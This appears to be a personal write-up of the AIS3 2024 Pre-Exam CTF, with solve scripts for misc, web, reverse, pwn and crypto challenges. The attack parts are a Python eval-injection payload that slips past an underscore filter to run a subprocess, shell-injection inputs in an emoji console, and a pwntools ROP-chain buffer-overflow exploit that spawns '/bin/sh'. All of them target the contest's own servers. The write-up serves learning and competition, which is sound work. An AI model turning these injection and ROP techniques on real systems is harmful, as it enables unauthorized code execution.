---
# System prepended metadata

title: AIS3 2024 Pre-Exam Write Up

---

AIS3 2024 Pre-Exam Write Up
===
:::info
<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/H1QFsMdHC.png">
    <p style="font-size:20px">RK: 41/328</p>
</div>
:::

---

## MISC

### Welcome

:::info
<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/HknllbdBR.png">
</div>
:::

### Quantum Nim Heist

:::info
<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/SkpH9X3HC.png">
</div>

<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/SJAaNQ_SA.png">
    <p>拿石頭遊戲，最後拿就贏</p>
</div>
:::

:::success
動手多玩幾次發現有個bug可以跳過回合，一直跳過回合直到剩下一排自己拿走就獲勝了

```python=
from pwn import process, remote
import sys

io = (
    process(["python3", "server.py"])
    if len(sys.argv) == 1
    else remote("chals1.ais3.org", 40004)
    if sys.argv[1] == "remote"
    else (print("Invalid argument") or sys.exit(1))
)


io.sendline(b"1")

io.sendline(b"0")
io.sendline(b"0")
io.sendline(b"1")

io.recvuntil("+---+-------------- stones info ------------------+\n")

while True:
    io.recvuntil("+---+-------------- stones info ------------------+\n")
    io.recvuntil("+---+-------------- stones info ------------------+\n")
    n = []
    s = io.recvuntil("+---+--------------- game menu -------------------+\n").decode().strip()
    for i in s.split("\n")[:-1]:
        n.append(i.count("o"))
    if len(n) > 1:
        io.sendline(b"")
    else:
        io.sendline(b"0")
        io.sendline(b"0")
        io.sendline(str(n[0]).encode())
        break
print(io.recvuntil("+-------------------------------------------------+").decode().strip().split("\n")[-2].split(" ")[1].split(" ")[0])
```
AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}
:::

:::warning
`choice`判斷時沒有用else所以可以跳過回合，但是一定要玩一回合的原因是玩家先動，
如果`count`跟`pile`還沒宣告呼叫`print_move('you', count, pile)`，裡面的
`print('| ' + f'{person} removed {count} stones from pile {pile}'.ljust(47) + ' |')`
會噴錯

```python=
while not game.ended():
    game.show()
    print_game_menu()
    choice = input('it\'s your turn to move! what do you choose? ').strip()

    if choice == '0':
        pile = int(input('which pile do you choose? '))
        count = int(input('how many stones do you remove? '))
        if not game.make_move(pile, count):
            print_error('that is not a valid move!')
            continue

    elif choice == '1':
        game_str = game.save()
        digest = hash.hexdigest(game_str.encode())
        print('you game has been saved! here is your saved game:')
        print(game_str + ':' + digest)
        return

    elif choice == '2':
        break

    # no move -> player wins!
    if game.ended():
        win = True
        break
    else:
        print_move('you', count, pile)
        game.show()
```
:::

### Three Dimensional Secret

:::info
<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/HJXJHMuBA.png">
</div>
:::

:::success
裡面只有一個WireShark的pcapng，裡面有一堆`G1 F1200 X113.079 Y147.223 E1.55258`之類的的座標，OSINT一下找到了G-code，又找到了線上的`NC viewer`，寫個Python過濾整理一下

```python=
s = ["ST", "MAN", "MX", "USER"]

a = open("./capture.pcapng", "rb").read().split(b"\r\n")
b = [i.decode().strip() for i in a if len(i) <= 50]


f = open("output", "w")
for i in b:
    r = True
    if i == "":
        continue
    for j in s:
        if j in i:
            r = False
            break
    if r:
        f.write(i + "\n")
```

<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/HygEGXuB0.png">
</div>
:::

:::warning

<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/SJ4b4rar0.png">
    <p>我後來才知道有Follow TCP Stream這東東==</p>
</div>

:::

### Emoji Console

:::info
<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/rJeHHM_SR.png">
</div>
<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/S1VOHzuBR.png">
</div>
:::

:::success
🐱 ⭐
cat *

💿 🚩 😜😐 🐱 ⭐
cd flag ;p:| cat *

💿 🚩 😜😐 🐍 ⭐
cd flag ;p:| python *

AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}
:::

:::warning
<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/BJ6bX7dSR.png">
    <p>好爛喔，我怎麼沒想到🐱 ⭐搞半天==</p>
</div>
:::

### Hash Guesser (賽後解)

:::info
<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/rJt4REdB0.png">
</div>
<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/H1FtCNur0.png">
    <p>一個可以上傳圖片的網頁</p>
</div>

```python=
def is_same_image(img1: Image.Image, img2: Image.Image) -> bool:
    return ImageChops.difference(img1, img2).getbbox() == None

uploaded_image = Image.open(file.stream)
target_image = generate_image()

if util.is_same_image(uploaded_image, target_image):
    return jsonify({"flag": FLAG})
else:
    return jsonify({"error": "Wrong guess"}), 400
```
:::

:::success
就生一個沒填顏色的圖片就沒有Bounding Box
```python=
uploaded_image = Image.new("L", (1, 1), 0)
uploaded_image.save("empty_image.png")
```

AIS3{https://github.com/python-pillow/Pillow/issues/2982}
:::

<div style="text-align: center;">
    <img src="https://cdn.7tv.app/emote/61e61d3c1f8f9d5cf633a586/4x.webp", width="70%">
</div>

:::warning
<div style="text-align: center;">
    不是我怎麼沒有解出這題<img src="https://cdn.7tv.app/emote/63c8a6c330027778647b3de8/4x.webp", width="10%">
    解完就前30了欸<img src="https://cdn.7tv.app/emote/60b1517fdb601b4ac8ed7916/4x.webp", width="5%">
</div>
:::

---

## Web

### Evil Calculator

:::info
<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/HJreUfuHA.png">
    <p>就是一個計算機的網頁</p>
</div>

```python=
@app.route('/calculate', methods=['POST'])
def calculate():
    data = request.json
    expression = data['expression'].replace(" ","").replace("_","")
    try:
        result = eval(expression)
    except Exception as e:
        result = str(e)
    return jsonify(result=str(result))
```
:::

:::success
```python=
import requests

ip = "http://chals1.ais3.org:5001/calculate"

payload = "eval(\"AAimportAA('subprocess').run(['cat', '../flag'], captureAoutput=True, text=True)\".replace('A', chr(95)))"

data = {
    "expression": payload
}

response = requests.post(ip, json=data)

result = response.json()

flag = result['result']

print(flag)
```

CompletedProcess(args=['cat', '../flag'], returncode=0, stdout='AIS3{7RiANG13_5NAK3_I5_50_3Vi1}', stderr='')
:::

:::warning
多一個`eval()`是為了為了繞過`replace()`，原本的`eval()`才能跑正確的payload

```python=
expression = data['expression'].replace(" ","").replace("_","")
```
:::

---

## Reverse

### The Long Point

:::info
<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/B1DDLz_BC.png">
</div>
<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/SyNmPXuBR.png">
</div>
:::

:::success
用GDB跳過Sleep就能看到flag了
或者整理一下`secret`跟`key`
<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/ryIAwmuSR.png">
</div>

```python=
secret = [
    0x454B4146, 0x0B, 0x6F6F687B, 0x0A, 0x5F796172, 0x2, 0x69727473, 0x8, 
    0x5F73676E, 0x6, 0x615F7369, 0x5, 0x7961776C, 0x7, 0x6E615F73, 0x4, 
    0x6573755F, 0x9, 0x5F6C7566, 0x0, 0x6D6D6F63, 0x1, 0x7D7A6E61, 0x3
]
key = [
    0x3A011001, 0x4C4C1B0D, 0x3A0B002D, 0x454F40, 
    0x3104321A, 0x3E2D161D, 0x2C120A31, 0x0D3E1103, 
    0x0C1A002C, 0x41D1432, 0x1A003100, 0x76180807
]

for i in range(0, 24, 2):
    x = secret[i] ^ key[secret[i + 1]]
    for j in range(4):
        print(chr(x % 256), end = "")
        x >>= 8
print()
```

AIS3{You_are_the_master_of_time_management!!!!?}
:::

### 火拳のエース

:::info
<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/rkL6LMuHR.png">
</div>

<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/rkSC_mdS0.png">
    <p>Flag Checker</p>
</div>
:::

:::success
`complex_function`爆破順序反著做就有Flag了
```python=
def complex_function(a1, a2):
    if ( a1 <= 64 or a1 > 90 ):
        print("It feels slightly wrong, but almost correct...")
    v5 = (17 * a2 + a1 - 65) % 26
    v4 = a2 % 3 + 3
    
    if (a2 % 3 == 2):
        v5 = (v5 - v4 + 26) % 26
    elif (a2 % 3 == 1):
        v5 = (2 * v4 + v5) % 26
    else:
        v5 = (v4 * v5 + 7) % 26
    return chr(v5 + 65)

res0 = "DHLIYJEG"
res1 = "MZRERYND"
res2 = "RUYODBAH"
res3 = "BKEMPBRE"

s0 = []
s1 = []
s2 = []
s3 = []

for i in range(8):
    for j in range(ord('A'), ord('Z') + 1):
        if res0[i] == complex_function(j, i):
            s0.append(j)
        if res1[i] == complex_function(j, i + 32):
            s1.append(j)
        if res2[i] == complex_function(j, i + 64):
            s2.append(j)
        if res3[i] == complex_function(j, i + 96):
            s3.append(j)


xor0 = [0x0e, 0x0d, 0x7d, 0x06, 0x0f, 0x17, 0x76, 0x04, 0x00]
xor1 = [0x6d, 0x00, 0x1b, 0x7c, 0x6c, 0x13, 0x62, 0x11, 0x00]
xor2 = [0x1e, 0x7e, 0x06, 0x13, 0x07, 0x66, 0x0e, 0x71, 0x00]
xor3 = [0x17, 0x14, 0x1d, 0x70, 0x79, 0x67, 0x74, 0x33, 0x00]


flag0 = "".join([chr(i ^ j) for i, j in zip(xor0, s0)])
flag1 = "".join([chr(i ^ j) for i, j in zip(xor1, s1)])
flag2 = "".join([chr(i ^ j) for i, j in zip(xor2, s2)])
flag3 = "".join([chr(i ^ j) for i, j in zip(xor3, s3)])

print(f"AIS3{{G0D{flag0}{flag1}{flag2}{flag3}")
```

AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}
:::

---

## Pwn

### Mathter

:::info
<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/S1CdDG_SR.png">
</div>

<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/HkXxs7uHA.png">
</div>

<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/r1Kqc7OBA.png">
    <p>能BOF那就ROP吧</p>
</div>

:::

:::success
- ROPgadget --binary mathter --multibr --only "mov|ret|pop|ret|syscall" > gadget
    - 0x000000000042e3a7 : pop rax ; ret
    - 0x0000000000402540 : pop rdi ; ret
    - 0x00000000004126a3 : pop rsi ; ret
    - 0x000000000047b917 : pop rdx ; pop rbx ; ret
    - 0x000000000042f981 : mov qword ptr [rsi], rax ; ret
    - 0x000000000041a5e2 : syscall ; ret
- objdump -s -j .data mathter
    - mathter:     file format elf64-x86-64
    - Contents of section .data:
         - 4bc000 00000000 00000000 00000000 00000000  ................

```python=
from pwn import process, remote, make_packer, flat
import sys

io = (
    process("./mathter")
    if len(sys.argv) == 1
    else remote("chals1.ais3.org", 50001)
    if sys.argv[1] == "remote"
    else (print("Invalid argument") or sys.exit(1))
)

p64 = make_packer(64)

io.sendline(b"q")

free_buffer = p64(0x4bc000)

pop_rax = p64(0x000000000042e3a7)
pop_rdi = p64(0x0000000000402540)
pop_rsi = p64(0x00000000004126a3)
pop_rdx_rbx = p64(0x000000000047b917)

mov_qword_ptr_rsi_rax = p64(0x000000000042f981)

alignment = p64(0x401ac6)
syscall = p64(0x000000000041a5e2)

io.sendline(flat(
    b"A" * 12,
    pop_rsi, free_buffer,
    pop_rax, b"/bin/sh\0",
    mov_qword_ptr_rsi_rax,

    pop_rdi, free_buffer,
    pop_rsi, p64(0),
    pop_rdx_rbx, p64(0), p64(0),
    pop_rax, p64(0x3b),

    alignment,
    syscall
))
io.interactive()
```

AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}
:::

---

## Crypto

### babyRSA

:::info
<div style="text-align: center;">
    <img src="https://hackmd.io/_uploads/HyhXPMdrA.png">
</div>

```python=
def encrypt(pk, plaintext):
    key, n = pk
    cipher = [pow(ord(char), key, n) for char in plaintext]
    return cipher
```
:::

:::success
直接爆破
```python=
from string import printable

s = open("./output.txt", "r").read().replace(":", "=").split("\n")

PublicKey = eval(s[0].split("= ")[1])
Encrypted = eval(s[1].split("= ")[1])

m = {}
for i in printable:
    m[pow(ord(i), PublicKey[0], PublicKey[1])] = i
print("".join([m[i] for i in Encrypted]))
```

@)!,\*^=AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}-=1#&\*
:::

:::danger
<div style="text-align: center;">
    本來還想解一題Reverse結果視窗程式真的不太會逆==我再去練練，下次一定RK30以前
</div>
:::

:::spoiler
<div style="text-align: center;">
    <img src="https://cdn.7tv.app/emote/62f117fcda653a5a47abbed1/4x.webp", width="50%">
    <p style="font-size:50px">下次一定</p>
    <div style="text-align: right;">
        <p style="font-size:25px">-Niiixkz</p>
    </div>
</div>
:::